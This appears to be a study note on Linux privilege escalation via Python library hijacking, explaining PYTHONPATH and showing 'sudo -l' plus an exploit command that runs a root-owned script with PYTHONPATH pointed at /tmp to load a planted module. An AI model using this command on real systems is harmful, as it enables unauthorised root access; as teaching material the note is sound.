# python-library-environment

In the previous section, we touched upon the term `PYTHONPATH`, however, didn't fully explain it's use and importance regarding the functionality of Python. `PYTHONPATH` is an environment variable that indicates what directory (or directories) Python can search for modules to import. This is important as if a user is allowed to manipulate and set this variable while running the python binary, they can effectively redirect Python's search functionality to a user-defined location when it comes time to import modules. We can see if we have the permissions to set environment variables for the python binary by checking our sudo permissions:

```
sudo -l
```

## Exploit

```
sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py
```